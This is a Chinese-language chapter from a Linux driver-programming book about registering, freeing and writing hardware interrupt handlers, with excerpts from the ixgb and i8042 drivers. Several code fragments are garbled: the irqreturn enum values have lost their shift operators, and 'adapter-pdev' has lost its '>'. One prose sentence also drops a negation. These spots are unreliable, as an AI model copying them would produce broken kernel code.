这是一个快速的硬件级概述(不涉及太多细节):现代系统主板将具有某种中断控制器芯片,通常称为[IO][A]PIC,在 x86 上称为IO-[Advanced] Programmable Interrupt Controller(x86 IO-APIC 的内核文档可在www.kernel.org/doc/html/latest/x86/i386/IO-APIC.html#io-apic找到),或者在 ARM 上称为通用中断控制器GIC)。PIC(为了简单起见,我们将使用通用术语 PIC)与 CPU 的中断引脚相连。能够断言中断的板载外围设备将具有到 PIC 的 IRQ 线。

IRQInterrupt ReQuest的常用缩写;它表示分配给外围设备的中断线(或线)。

假设所讨论的外围设备是网络适配器(NIC),并且接收到一个网络数据包。以下是(高度简化的)流程:

  1. 外围设备(NIC)现在需要发出(断言)硬件中断;因此,它在 PIC 上断言其线(根据需要为低或高逻辑;所有这些都是硬件内部的)。

  2. PIC 在看到外围线被断言后,将断言的线值保存在寄存器中。

  3. 然后,PIC 断言 CPU 的中断引脚。

  4. 处理器上的控制单元在每个 CPU 上的每条机器指令运行后都会检查硬件中断的存在。因此,如果发生硬件中断,它几乎立即就会知道。然后,CPU 将引发硬件中断(当然,中断可以被屏蔽;我们将在启用和禁用 IRQs部分中更详细地讨论这一点)。

  5. 操作系统上的低级(BSP/平台)代码将与此相连,并做出反应(通常是在汇编级别的代码);例如,在 ARM-32 上,硬件中断的低级 C 入口点是arch/arm/kernel/irq.c:asm_do_IRQ()

  6. 从这里开始,操作系统执行代码路径,最终调用驱动程序的已注册中断处理程序例程,以便为该中断提供服务。(再次强调,我们不打算在本章节关注硬件层面,甚至不关注硬件中断的特定于架构的平台级细节。我想关注的是对驱动程序作者有关的内容 - 如何处理它们!)。

硬件中断在 Linux 操作系统中是最高优先级的:它会抢占当前正在运行的任何内容 - 无论是用户空间还是内核空间的代码路径。话虽如此,稍后我们将看到,在现代 Linux 内核上,可以采用线程化中断模型来改变这一点;请稍作耐心 - 我们会讲到的!

现在,让我们离题一下。我们提到了一个典型外围设备的例子,即网络控制器(或 NIC),并且基本上说它通过硬件中断来服务数据包的传输和接收(Tx/Rx)。这曾经是真的,但对于现代高速 NIC(通常为 10 Gbps 及更高速度)来说,情况并非总是如此。为什么?答案很有趣:中断以极快的速度打断处理器,可能导致系统陷入一个称为活锁的问题情况;即它无法应对极高的中断需求!与死锁一样(在第六章中介绍,内核同步 - 第一部分),系统实际上会冻结或挂起。那么,对于活锁,我们该怎么办?大多数高端现代 NIC 支持轮询模式操作;现代操作系统(如 Linux)具有名为NAPI的网络接收路径基础设施(请注意,这与婴儿无关 - 它是New API的缩写),它允许驱动程序根据需求在中断和轮询模式之间切换,从而更有效地处理网络数据包(在接收路径上)。

现在我们已经介绍了硬件中断,让我们学习作为驱动程序作者如何与它们一起工作。本章剩下的大部分部分将涉及这一点。让我们首先学习如何分配或注册一个 IRQ 线。

分配硬件 IRQ

编写设备驱动程序的一个关键部分通常是陷入和处理硬件中断,即您为其编写驱动程序的芯片发出的中断。你如何做到这一点?问题在于硬件中断从中断控制器芯片到 CPU 的路由方式差异很大;这是非常特定于平台的。好消息是,Linux 内核提供了一个抽象层来抽象掉所有硬件级别的差异;它被称为通用中断(或 IRQ)处理层。基本上,它在幕后执行所需的工作,并公开完全通用的 API 和数据结构。因此,至少在理论上,您的代码将在任何平台上运行。这个通用 IRQ 层就是我们作为驱动程序作者主要要使用的;当然,我们使用的所有 API 和辅助例程都属于这个类别。

回想一下,至少最初,真正处理中断的是核心内核(正如我们在上一节中学到的)。然后,它会参考一个链表数组(这是 Linux 上非常常见的数据结构;这里,数组的索引是 IRQ 号)来找出要调用的驱动程序级函数。 (不详细介绍,列表上的节点是 IRQ 描述符结构;即include/linux/interrupt.h:struct irqaction。)但是,如何将您的驱动程序的中断处理程序函数放入此列表中,以便内核在设备发生中断时调用它?啊,这就是关键:您要向内核注册它。现代 Linux 提供了至少四种(API)方式,通过这些方式您可以注册对中断线的兴趣,如下所示:

  • request_irq()

  • devm_request_irq()

  • request_threaded_irq()

  • devm_request_threaded_irq()(推荐!)

让我们逐个解决它们(还有一些略有不同的其他例程)。在这过程中,我们将查看一些驱动程序的代码,并学习如何处理线程中断。有很多东西要学习和做;让我们开始吧!

使用request_irq()分配您的中断处理程序

就像我们在 I/O 内存和 I/O 端口中看到的那样,IRQ 线被认为是内核负责的资源request_irq()内核 API 可以被认为是驱动程序作者注册对 IRQ 的兴趣并将此资源分配给自己的传统方法,从而允许内核在中断异步到达时调用他们的处理程序。

你可能会觉得这个讨论似乎与用户空间信号处理非常类似。在那里,我们调用sigaction(2)系统调用来注册对信号的兴趣。当信号(异步)到达时,内核调用注册的信号处理程序(用户模式)例程!

这里有一些关键的区别。首先,用户空间信号处理程序不是中断;其次,用户空间信号处理程序纯粹在非特权用户模式下运行;相比之下,您的驱动程序的内核空间中断处理程序以(异步)内核特权和中断上下文运行!

此外,一些信号实际上是处理器异常引发的软件副作用;广义上讲,当发生非法情况并且必须“捕获”(切换)到内核空间处理时,处理器将引发故障、陷阱或中止。尝试访问无效页面(或没有足够权限)的进程或线程会导致 MMU 引发故障或中止;这将导致操作系统故障处理代码在进程上下文(即current)上引发SIGSEGV信号!然而,引发某种异常并总是意味着存在问题 - 系统调用只是对操作系统的陷阱;也就是说,通过 x86/ARM 上的syscall / SWI进行编程异常(通过syscall / SWI)。

内核源代码中的以下注释(在下面的片段中部分重现)告诉我们更多关于request[_threaded]_irq() API 的信息:

// kernel/irq/manage.c:request_threaded_irq()
[...]
 * This call allocates interrupt resources and enables the
 * interrupt line and IRQ handling. From the point this
 * call is made your handler function may be invoked.

实际上,request_irq()只是request_threaded_irq() API 的一个薄包装;我们将在后面讨论这个 API。request_irq() API 的签名如下:

#include <linux/interrupt.h>

​int __must_check
request_irq(unsigned int irq, irq_handler_t (*handler_func)(int, void *), unsigned long flags, const char *name, void *dev);

始终包括linux/interrupt.h头文件。让我们逐个检查request_irq()的每个参数:

  • int irq:这是您尝试注册或陷阱/挂钩的 IRQ 线。这意味着当特定中断触发时,将调用您的中断处理程序函数(第二个参数handler_func)。关于irq的问题是:我如何找出 IRQ 号是多少?我们在第三章中解决了这个通用问题,使用硬件 I/O 内存,在(真正关键的)获取设备资源部分。为了快速重申,IRQ 线是一种资源,这意味着它是以通常的方式获得的 - 在现代嵌入式系统上,它是通过解析设备树DT)获得的;旧的方法是在特定于板的源文件中硬编码值(放心,您将看到通过 DT 查询 IRQ 线的示例在IRQ 分配 - 现代方式 - 管理的中断设施部分)。在 PC 类型系统上,您可能不得不诉诸于询问设备所在总线(对于冷设备)。在这里,PCI 总线(和朋友们)非常常见。内核甚至提供了 PCI 辅助例程,您可以使用它来查询资源,并找出分配的 IRQ 线。

  • irq_handler_t (*handler_func)(int, void *):这个参数是指向中断处理程序函数的指针(在 C 中,只提供函数的名称就足够了)。当硬件中断触发时,当然,这是将异步调用的代码。它的工作是为中断提供服务(稍后详细介绍)。内核如何知道它在哪里?回想一下struct irqaction,这是由request_irq()例程填充的结构。它的成员之一是handler,并设置为这个第二个参数。

  • unsigned long flags:这是request_irq()的第三个参数,是一个标志位掩码。当设置为零时,它实现其默认行为(我们将在设置中断标志部分讨论一些关键的中断标志)。

  • const char *name:这是拥有中断的代码/驱动程序的名称。通常,这设置为设备驱动程序的名称(这样,/proc/interrupts可以向您显示正在使用中断的驱动程序的名称;它是最右边的列;详细信息在查看所有分配的中断(IRQ) 线部分后面)。

  • void *dev:这是request_irq()的第五个也是最后一个参数,允许您传递任何数据项(通常称为 cookie)给中断处理程序例程,这是一种常见的软件技术。在第二个参数中,您可以看到中断处理程序例程是void *类型。这就是这个参数被传递的地方。

大多数真实世界的驱动程序都会有一些上下文或私有数据结构,用于存储所有所需的信息。此外,这种上下文结构通常嵌入到驱动程序的设备(通常由子系统或驱动程序框架专门化)结构中。事实上,内核通常会帮助您这样做;例如,网络驱动程序使用alloc_etherdev()将它们的数据嵌入到struct net_device中,平台驱动程序将它们的数据嵌入到struct platform_deviceplatform_device.device.platform_data成员中,I2C 客户端驱动程序使用i2c_set_clientdata()助手将它们的私有/上下文数据“设置”到i2c_client结构中,依此类推。

请注意,当您使用共享中断时(我们将很快解释这一点),您必须将此参数初始化为非 NULL 值(否则,free_irq()将如何知道要释放哪个处理程序?)。如果您没有上下文结构或任何特定的内容要传递,那么在这里传递THIS_MODULE宏就可以了(假设您正在使用可加载内核模块框架编写驱动程序;它是指向内核模块元数据结构的指针;也就是struct module)。

request_irq()的返回值是一个整数,按照通常的0/-E内核约定(请参阅配套指南Linux 内核编程 - 第四章,编写您的第一个内核模块 - LKMs 第一部分0/-E 返回约定一节),成功时为0,失败时为负的errno值。正如__must_check编译器属性明确指出的那样,您肯定应该检查失败的情况(这在任何情况下都是良好的编程实践)。

Linux 驱动程序验证(LDV)项目:在配套指南Linux 内核编程第一章 - 内核工作空间设置LDV - Linux 驱动程序验证 - 项目一节中,我们提到该项目对 Linux 模块(主要是驱动程序)以及核心内核的各种编程方面有有用的“规则”。

关于我们当前的主题,这里有一个规则,一个否定的规则,暗示着您不能这样做:“探测 IRQ 时不进行延迟”(linuxtesting.org/ldv/online?action=show_rule&rule_id=0037)。这个讨论实际上适用于 x86[_64]系统。在这里,在某些情况下,您可能需要物理探测正确的 IRQ 线路号。为此,内核通过probe_irq_{on|off}() API(probe_irq_on()返回可以使用的潜在 IRQ 线路的位掩码)提供了“自动探测”功能。问题是,在probe_irq_on()probe_irq_off() API 之间需要延迟;不调用此延迟可能会导致问题。前面提到的 LDV 页面详细介绍了这一点,所以请查看。用于执行延迟的实际 API 通常是udelay()。不用担心,我们在第五章,使用内核定时器、线程和工作队列为内核中的给定时间延迟一节中详细介绍了它(以及其他几个)。

在驱动程序的代码中,您应该在哪里调用request_irq() API(或其等效物)?对于几乎所有遵循现代Linux 设备模型LDM)的现代驱动程序,即设备和驱动程序的现代内核框架,probe()方法(实际上是一个函数)是正确的地方。

释放 IRQ 线

相反,当驱动程序被卸载或设备被分离时,remove()(或disconnect())方法是您应该调用相反例程free_irq()的正确位置,以将 IRQ 线释放回内核:

void *free_irq(unsigned int, void *);

free_irq()的第一个参数是要释放回内核的 IRQ 线。第二个参数再次是传递给中断处理程序的相同值(通过request_irq()的最后一个参数),因此您通常必须使用设备结构指针(其中嵌入了驱动程序的上下文或私有数据结构)或THIS_MODULE宏来填充它。

返回值是request_irq()例程的第四个参数(是的,它是一个字符串)成功时是设备名称参数,失败时是NULL

作为驱动程序作者,重要的是要注意执行以下操作:

  • 在共享 IRQ 线时,在调用free_irq()之前在板上禁用中断

  • 仅从进程上下文中调用

此外,free_irq()只有在此 IRQ 线的所有执行中断都完成时才会返回。

在查看一些代码之前,我们需要简要介绍另外两个领域:中断标志和电平/边沿触发中断的概念。

设置中断标志

在使用{devm_}request{_threaded}_irq()APIs(我们将很快介绍request_irq()的变体)分配中断(IRQ 线)时,您可以指定某些中断标志,这些标志将影响中断线的配置和/或行为。负责此操作的参数是unsigned long flags(正如我们在使用 request_irq()分配中断处理程序部分中提到的)。重要的是要意识到它是一个位掩码;您可以按位或多个标志以获得它们的组合效果。标志值大致分为几类:与 IRQ 线共享、中断线程和挂起/恢复行为有关的标志。它们都在linux/interrupt.h头文件中以IRQF_foo格式。以下是一些最常见的:

  • IRQF_SHARED:这允许您在多个设备之间共享 IRQ 线(对 PCI 总线上的设备是必需的)。

  • IRQF_ONESHOT:硬中断处理程序执行完成后不启用 IRQ。此标志通常由线程中断(在使用线程中断模型部分中介绍)使用,以确保 IRQ 保持禁用,直到线程处理程序完成。

__IRQF_TIMER标志是一个特例。它用于将中断标记为定时器中断。正如在配套指南Linux 内核编程第十章CPU 调度器-第一部分第十一章CPU 调度器-第二部分中所看到的,当我们研究 CPU 调度时,定时器中断以周期性间隔触发,并负责实现内核的定时器/超时机制,调度器相关的日常工作等。

定时器中断标志由此宏指定:

#define IRQF_TIMER(__IRQF_TIMER | IRQF_NO_SUSPEND | IRQF_NO_THREAD)

除了指定它标记为定时器中断(__IRQF_TIMER)之外,IRQF_NO_SUSPEND标志指定即使系统进入挂起状态,中断仍保持启用。此外,IRQF_NO_THREAD标志指定此中断不能使用线程模型(我们将在使用线程中断模型部分中介绍)。

我们可以使用几种其他中断标志,包括IRQF_PROBE_SHAREDIRQF_PERCPUIRQF_NOBALANCINGIRQF_IRQPOLLIRQF_FORCE_RESUMEIRQF_EARLY_RESUMEIRQF_COND_SUSPEND。我们不会在这里明确介绍它们(请看一下linux/interrupt.h头文件中简要描述它们的注释头)。

现在,让我们简要了解一下电平触发和边沿触发中断。

理解电平触发和边沿触发中断-简要说明

当外围设备断言中断时,中断控制器被触发以锁存此事件。它用于触发 CPU 中的硬件中断的电气特性分为两大类:

  • 电平触发:当电平发生变化(从非活动到活动或激活)时触发中断;直到去激活,该线保持激活状态。即使在处理程序返回后,如果线仍处于激活状态,您将再次收到中断。

  • 边沿触发:当电平从非活动变为活动时,中断仅触发一次。

此外,中断可以是高触发或低触发,在上升或下降(时钟)边缘。内核允许通过附加标志(例如IRQF_TRIGGER_NONEIRQF_TRIGGER_RISINGIRQF_TRIGGER_FALLINGIRQF_TRIGGER_HIGHIRQF_TRIGGER_LOW等)进行配置和指定。这些外围芯片的低级电气特性通常在 BSP 级代码中预先配置或在 DT 中指定。

电平触发中断会迫使您了解中断源,以便您可以正确地去激活(或ack)它(在共享 IRQ 的情况下,在检查它是否属于您之后)。通常,这是您在服务它时必须做的第一件事;否则,它将继续触发。例如,如果当某个设备寄存器达到值0xff时触发中断,那么驱动程序必须在去激活之前将寄存器设置为0x0!这很容易理解,但正确处理可能会很困难。

另一方面,边沿触发中断易于处理,因为不需要了解中断源,但也容易错过!一般来说,固件设计人员使用边沿触发中断(尽管这不是一个规则)。同样,这些特性实际上是在硬件/固件边界上。您应该研究为您编写驱动程序的外围设备提供的数据表和任何相关文档(例如 OEM 的应用说明)。

到目前为止,您可能已经意识到编写设备驱动程序(好!)需要两个不同的知识领域。首先,您需要深入了解硬件/固件及其工作原理,控制/数据平面,寄存器组,I/O 内存等。其次,您需要对操作系统(Linux)及其内核/驱动程序框架有深入(足够)的了解,了解 Linux 的工作原理,内存管理,调度,中断模型等。此外,您需要了解现代 LDM 和内核驱动程序框架以及如何进行调试和分析。您在这些方面的能力越强,编写驱动程序的能力就越强!

我们将学习如何查找在查看所有分配的(IRQ)线部分中使用的触发类型。查看更多关于 IRQ 边沿/电平触发的链接部分以获取更多链接。

现在,让我们继续看一些有趣的东西。为了帮助消化到目前为止学到的东西,我们将看一些来自 Linux 网络驱动程序的小代码片段!

代码视图 1 - IXGB 网络驱动程序

现在是时候看一些代码了。让我们看一下英特尔 IXGB 网络适配器驱动程序的一些小代码片段(该驱动程序驱动着英特尔 82597EX 系列中的几个英特尔网络适配器)。在市场上有许多可用的产品,英特尔有一条名为IXGB 网络适配器的产品线。控制器是英特尔 82597EX;这些通常是用于服务器的 10 千兆以太网适配器(有关此控制器的英特尔产品简介可以在www.intel.com/Assets/PDF/prodbrief/pro10GbE_LR_SA-DS.pdf找到)。

图 4.1 - 英特尔 PRO/10GbE LR 服务器适配器(IXGB,82597EX)网络适配器

首先,让我们看一下它调用request_irq()来分配 IRQ 线:

// drivers/net/ethernet/intel/ixgb/ixgb_main.c
[...]int
ixgb_up(struct ixgb_adapter *adapter)
{
    struct net_device *netdev = adapter->netdev;
    int err, irq_flags = IRQF_SHARED;
    [...]
    err = request_irq(adapter->pdev->irq, ixgb_intr, irq_flags,
                      netdev->name, netdev);
    [...]

在前面的代码片段中,您可以看到驱动程序调用request_irq()API 来在网络驱动程序的ixgb_up()方法中分配此中断。当网络接口被启动时(由网络实用程序如ip(8)或(较早的)ifconfig(8)调用),将调用此方法。让我们依次查看传递给request_irq()的参数:

  • 在这里,IRQ 号码-第一个参数-是从pci_dev结构的irq成员中查询的(因为此设备位于 PCI 总线上)。pdev结构指针在这个驱动程序的上下文(或私有)元数据结构中,名为ixgb_adapter。它的成员称为irq

  • 第二个参数是指向中断处理程序例程的指针(通常被称为hardirq handler;我们稍后将更详细地查看所有这些);在这里,它是名为ixgb_intr()的函数。

  • 第三个参数是flags位掩码。您可以看到这里驱动程序指定此中断是共享的(通过IRQF_SHARED标志)。这是 PCI 规范的一部分,用于在该总线上的设备共享它们的中断线。这意味着驱动程序需要验证中断是否真的是为它而来的。它在中断处理程序中执行此操作(通常是非常特定于硬件的代码,通常检查给定寄存器的某个预期值)。

  • 第四个参数是处理此中断的驱动程序的名称。它是通过专门的net_device结构的name成员获得的(该成员已经通过此驱动程序在其探测方法ixgb_probe()中调用register_netdev()注册到内核的网络框架中)。

  • 第五个参数是传递给中断处理程序例程的值。正如我们之前提到的,它(再次)是专门的net_device结构(其中内部嵌入了驱动程序上下文结构(struct ixgb_adapter)!)。

相反,当网络接口关闭时,内核会调用ixgb_down()方法。当这种情况发生时,它会禁用 NAPI 并使用free_irq()释放 IRQ 线。

void
ixgb_down(struct ixgb_adapter *adapter, bool kill_watchdog)
{
    struct net_device *netdev = adapter->netdev;
    [...]
    napi_disable(&adapter->napi);
    /* waiting for NAPI to complete can re-enable interrupts */
    ixgb_irq_disable(adapter);
    free_irq(adapter-pdev->irq, netdev);
    [...]

现在您已经学会了如何通过request_irq()陷入硬件中断,我们需要了解有关编写中断处理程序例程代码的一些关键要点,这就是处理中断的实际工作所在。

实现中断处理程序例程

通常,中断是硬件外围设备通知系统(实际上是驱动程序)数据已经可用并且应该接收的方式。这是典型驱动程序的操作:它们从设备缓冲区(或端口等)中获取传入的数据。不仅如此,还有可能有用户模式进程(或线程)需要这些数据。因此,他们很可能已经打开了设备文件并发出了read(2)(或等效)系统调用。这使得他们当前正在阻塞(睡眠),等待设备传来的数据。

在检测到当前没有可用数据时,驱动程序的read方法通常会使用wait_event*()API 之一将进程上下文置于睡眠状态。

因此,一旦您的驱动程序的中断处理程序将数据获取到某个内核缓冲区中,它通常会唤醒正在睡眠的读取者。他们现在通过驱动程序的读取方法(在进程上下文中)运行,获取数据,并根据需要将其传输到用户空间缓冲区中。

这一部分分为两个主要部分。首先,我们将学习在我们的中断处理程序中可以做什么和不能做什么。然后,我们将介绍编写代码的机制。

中断上下文指南-要做和不要做的事情

中断处理程序例程是您典型的 C 代码,但有一些注意事项。关于设计和实现硬件中断处理程序的一些关键点如下:

  • 处理程序在中断上下文中运行,因此不要阻塞:首先,这段代码始终在中断上下文中运行;也就是说,在原子上下文中。在可抢占的内核上,抢占被禁用,因此它有一些关于它可以做和不能做的限制。特别是,它不能做任何直接或间接调用调度器(schedule())的事情!

实际上,你不能做以下事情:

  • 在内核和用户空间之间传输数据可能会导致页面错误,在原子上下文中是不允许的。

  • 在内存分配中使用GFP_KERNEL标志。你必须使用GFP_ATOMIC标志,以便分配是非阻塞的 - 它要么立即成功,要么立即失败。

  • 调用任何会阻塞的 API(最终调用schedule())。换句话说,它必须是纯非阻塞的代码路径。(我们在伴随指南Linux 内核编程 - 第八章模块作者的内核内存分配 - 第一部分永远不要在中断或原子上下文中休眠部分中详细介绍了原因)。

  • 中断屏蔽:默认情况下,当你的中断处理程序运行时,本地 CPU 核心上的所有中断都被屏蔽(禁用),你正在处理的特定中断在所有核心上都被屏蔽。因此,你的代码本质上是可重入安全的。

  • 保持快速!:你正在编写的代码会打断其他进程 - 在你粗鲁地打断它之前系统正在运行的其他“业务”;因此,你必须尽可能快地完成所需的工作,并返回,让被打断的代码路径继续。重要的系统软件指标包括最坏情况下的中断长度和最坏情况下的中断禁用时间(我们将在本章末尾的测量指标和延迟部分再详细介绍一些内容)。

这些要点非常重要,因此我们将在以下小节中更详细地介绍它们。

不要阻塞 - 发现可能会阻塞的代码路径

这实际上归结为这样一个事实,当你处于中断或原子上下文中时,不要做任何会调用schedule()的事情。现在,让我们看看如果我们的中断处理程序的伪代码如下会发生什么:

my_interrupt()
{
    struct mys *sp;
    ack_intr();
    x = read_regX();
    sp = kzalloc(SIZE_HWBUF, GFP_KERNEL);
    if (!sp)
        return -ENOMEM;
    sp = fetch_data_from_hw();
    copy_to_user(ubuf, sp, count);
    kfree(sp);
}

你有没有发现这里存在潜在的大问题(尽管可能还很微妙)?(在继续之前花点时间发现它们。)

首先,使用GFP_KERNEL标志调用kzalloc()可能会导致内核代码调用schedule()!如果是这样,这将导致“Oops”,这是一个内核错误。在典型的生产环境中,这会导致内核恐慌(因为sysctl命名为panic_on_oops通常在生产中设置为1;执行sysctl kernel.panic_on_oops将显示当前设置)。接下来,调用copy_to_user()可能导致页面错误,因此需要进行上下文切换,这当然会调用schedule();这是不可能的 - 再次,这是一个严重的错误 - 在原子或中断上下文中!

因此,更通用地说,让我们的中断处理程序调用一个名为a()的函数,a()的调用链如下:

        a() -- b() -- c() -- [...] -- g() -- schedule() -- [...]

在这里,你可以看到调用a()最终会导致调用schedule(),正如我们刚刚指出的那样,这将导致“Oops”,这是一个内核错误。因此,问题是,作为驱动程序开发人员,当你调用a()时,你如何知道它会导致调用schedule()?关于这一点,你需要了解并利用一些要点:

  • (如在伴随指南Linux 内核编程-第八章 模块作者的内核内存分配-第一部分中提到)您可以通过直接查看内核来提前了解您的内核代码是否会进入原子或中断上下文。当您配置内核时(同样,如在伴随指南Linux 内核编程中所见,回想一下make menuconfig来自Linux 内核编程-第二章 从源代码构建 5.x Linux 内核-第一部分),您可以打开一个内核配置选项,这将帮助您准确地发现这种情况。在 Kernel Hacking / Lock Debugging 菜单下查看。在那里,您会找到一个名为 Sleep inside atomic section checking 的布尔可调节项。将其打开!

配置选项名为CONFIG_DEBUG_ATOMIC_SLEEP;您可以随时在内核的配置文件中使用 grep 进行搜索。如在伴随指南Linux 内核编程-第五章 编写您的第一个内核模块-LKMs 第二部分中所见,在配置调试内核部分,我们指定应该打开此选项!

  • 接下来(这有点迂腐,但会帮助您!),养成查看有关问题函数的内核文档的习惯(甚至更好的是,简要查看其代码)。它是一个阻塞调用的事实通常会在注释标题中有所记录或指定。

  • 内核有一个名为might_sleep()的辅助宏;它对这些情况非常有用的调试辅助工具!下面的屏幕截图(来自内核源码,include/linux/kernel.h)清楚地解释了它:

图 4.2-对 might_sleep()的注释很有帮助

同样,内核提供了一些辅助宏,如might_resched()cant_sleep()non_block_start()non_block_end()等。

  • 只是为了提醒您,我们在伴随指南Linux 内核编程-第八章 模块作者的内核内存分配第一部分处理 GFP 标志部分(以及其他地方)中提到了几乎相同的事情-关于不在原子上下文中阻塞。此外,我们还向您展示了有用的 LDV 项目(在伴随指南Linux 内核编程-第一章 内核工作空间设置中提到,在LDV-Linux 驱动程序验证-项目部分)如何捕获并修复了内核和驱动程序模块代码中的几个此类违规行为。

在本节的开头,我们提到,通常情况下,睡眠的用户空间读取器会在数据到达时阻塞。其到达通常由硬件中断信号。然后,您的中断处理程序例程将数据获取到内核 VAS 缓冲区并唤醒睡眠者。嘿,这是不允许的吗?不-wake_up*() API 在性质上是非阻塞的。您需要理解的是,它们只会将进程(或线程)的状态从睡眠(TASK_{UN}INTERRUPTIBLE)切换到唤醒,准备运行(TASK_RUNNING)。这不会调用调度程序;内核将在下一个机会点进行调度(我们在伴随指南Linux 内核编程-第十章 CPU 调度程序-第一部分第十一章 CPU 调度程序-第二部分中讨论了 CPU 调度)。

中断屏蔽-默认值和控制

回想一下中断控制器芯片(PIC/GIC)将具有屏蔽寄存器。操作系统可以根据需要对其进行编程屏蔽或阻止硬件中断(当然,某些中断可能是不可屏蔽的;不可屏蔽中断NMI)是我们稍后在本章中讨论的典型情况)。

然而,重要的是要意识到,尽可能保持中断启用(未屏蔽)是操作系统质量的一个关键指标!为什么?如果中断被阻塞,外围设备无法响应,系统的性能会下降或受到影响(仅按下并释放键盘键会导致两个硬件中断)。您必须尽可能长时间地保持中断启用。使用自旋锁会导致中断和抢占被禁用!保持关键部分短暂(我们将在本书的最后两章中深入介绍锁定)。

接下来,当涉及到 Linux 操作系统上的默认行为时,当硬件中断发生并且该中断未被屏蔽(通常是默认情况),假设它是 IRQn(其中n是中断号),内核确保在其中断(hardirq)处理程序执行时,所有在处理程序执行的本地 CPU 核心上的中断都被禁用,并且 IRQn 在所有 CPU 上都被禁用。因此,您的处理程序代码本质上是可重入安全的。这很好,因为这意味着您永远不必担心以下问题:

  • 自己屏蔽中断

  • 何时在该 CPU 核心上以原子方式完成且不被中断

正如我们将在后面看到的,底半部仍然可以被顶半部中断,因此需要锁定。

当 IRQn 在 CPU 核心 1 上执行时,其他 CPU 核心上的中断仍然启用(未屏蔽)。因此,在多核系统硬件上,中断可以在不同的 CPU 核心上并行运行。只要它们不相互干扰全局数据,这是可以的!如果它们这样做,您将不得不使用锁定,这是我们将在本书的最后两章中详细介绍的内容。

此外,在 Linux 上,所有中断都是对等的,因此它们之间没有优先级;换句话说,它们都以相同的优先级运行。只要它未被屏蔽,任何硬件中断都可以在任何时间点中断系统;中断甚至可以中断中断!但它们通常不会这样做。这是因为,正如我们刚刚了解的,当中断 IRQn 在 CPU 核心上运行时,该核心上的所有中断都被禁用(屏蔽),并且 IRQn 在全局范围内(跨所有核心)被禁用,直到完成;例外是 NMI。

保持快速

中断就是它所暗示的:它中断了机器上的正常工作;这是一个必须被容忍的烦恼。上下文必须被保存,处理程序必须被执行(连同底半部,我们将在理解和使用顶半部和底半部部分中介绍),然后必须将上下文恢复到被中断的状态。所以,你明白了:这是一个关键的代码路径,所以不要磕磕绊绊-要快速和非阻塞!

它还提出了一个问题,快有多快?虽然答案当然是依赖于平台的,但一个经验法则是:尽可能快地处理中断,在几十微秒内。如果它一直超过 100 微秒,那么确实需要考虑使用替代策略。我们将在本章后面介绍当发生这种情况时可以做什么。

关于我们简单的my_interrupt()伪代码片段(在不要阻塞-发现可能阻塞的代码路径部分中显示),首先,问问自己,在关键的非阻塞需要快速执行的代码路径(例如中断处理程序)中,我真的需要分配内存吗?您是否可以设计模块/驱动程序以更早地分配内存(并且只使用指针)?

再次,现实情况是,有时需要做相当多的工作才能正确地处理中断(网络/块驱动程序是很好的例子)。我们将很快介绍一些我们可以用来处理这个问题的典型策略。

编写中断处理程序例程

现在,让我们快速学习它的机械部分。硬件中断处理程序例程(通常称为hardirq例程)的签名如下:

static irqreturn_t interrupt_handler(int irq, void *data);

当您的驱动程序注册了兴趣(通过request_irq()或友元 API)的硬件 IRQ 被触发时,中断处理程序例程由内核的通用 IRQ 层调用。它接收两个参数:

  • 第一个参数是 IRQ 线(整数)。触发这个会调用处理程序。

  • 第二个参数是通过request_irq()的最后一个参数传递的值。正如我们之前提到的,它通常是驱动程序的专用设备结构,嵌入了驱动程序上下文或私有数据。因此,它的数据类型是通用的void *,允许request_irq()传递任何类型,适当地在处理程序例程中进行类型转换并使用它。

处理程序是常规的 C 代码,但是有了我们在前一节中提到的所有注意事项!请务必遵循这些准则。虽然细节是硬件特定的,通常,您的中断处理程序的第一个责任是在板上清除中断,实际上是确认它并告诉 PIC。这通常是通过向板上或控制器上的指定硬件寄存器写入一些特定位来实现的;阅读您特定芯片、芯片组或硬件设备的数据表以弄清楚这一点。在这里,in_irq()宏将返回true,通知您的代码当前处于 hardirq 上下文中。

处理程序所做的其余工作显然是非常特定于设备的。例如,输入驱动程序将希望扫描刚刚从某个寄存器或外围内存位置按下或释放的键码(或触摸屏坐标或鼠标键/移动等),并可能将其保存在某个内存缓冲区中。或者,它可能立即将其传递到其上面的通用输入层。我们不会在这里深入探讨这些细节。再次强调,驱动程序框架是您需要了解的驱动程序类型;这超出了本书的范围。

那么从您的 hardirq 处理程序返回的值是什么?irqreturn_t返回值是一个enum,如下所示:

// include/linux/irqreturn.h

/**
 * enum irqreturn
 * @IRQ_NONE interrupt was not from this device or was not handled
 * @IRQ_HANDLED interrupt was handled by this device
 * @IRQ_WAKE_THREAD handler requests to wake the handler thread
 */
enum irqreturn {
    IRQ_NONE = (0 0),
    IRQ_HANDLED = (1 0),
    IRQ_WAKE_THREAD = (1 1),
};

前面的注释标题清楚地指出了它的含义。基本上,通用的 IRQ 框架坚持要求您返回IRQ_HANDLED值,如果您的驱动程序处理了中断。如果中断不是您的,或者您无法处理它,应该返回IRQ_NONE值。(这也有助于内核检测虚假中断。如果您无法确定它是否是您的中断,只需返回IRQ_HANDLED。)我们将很快看到IRQ_WAKE_THREAD是如何使用的。

现在,让我们看一些更多的代码!在下一节中,我们将检查两个驱动程序的硬件中断处理程序代码(我们在本章和上一章中都遇到过)。

代码视图 2 - i8042 驱动程序的中断处理程序

在上一章中,第三章,使用硬件 I/O 内存,在A PIO 示例 - i8042部分,我们学习了 i8042 设备驱动程序如何使用一些非常简单的辅助程序在 i8042 芯片的 I/O 端口上执行 I/O(读/写)(这通常是 x86 系统上的键盘/鼠标控制器)。以下代码片段显示了其硬件中断处理程序例程的一些代码;您可以清楚地看到它同时读取了状态寄存器和数据寄存器:

// drivers/input/serio/i8042.c
/*
 * i8042_interrupt() is the most important function in this driver -
 * it handles the interrupts from the i8042, and sends incoming bytes
 * to the upper layers.
 */
static irqreturn_t i8042_interrupt(int irq, void *dev_id)
{
    unsigned char str, data;
    [...]
    str = i8042_read_status();
    [...] 
    data = i8042_read_data();
    [...]
    if (likely(serio && !filtered))
        serio_interrupt(serio, data, dfl);
 out:
    return IRQ_RETVAL(ret);
}

在这里,serio_interrupt()调用是这个驱动程序将从硬件读取的数据传递给上层的“输入”层,该层将进一步处理它,并最终使其准备好供用户空间进程使用。(在本章末尾的问题部分中看一下;您可以尝试的练习之一是编写一个简单的“键盘记录器”设备驱动程序。)

代码视图 3 - IXGB 网络驱动程序的中断处理程序

让我们看另一个例子。在这里,我们正在查看 Intel IXGB 以太网适配器的设备驱动程序的硬件中断处理程序,这是我们之前提到的:

// drivers/net/ethernet/intel/ixgb/ixgb_main.c
static irqreturn_t
ixgb_intr(int irq, void *data)
{
    struct net_device *netdev = data;
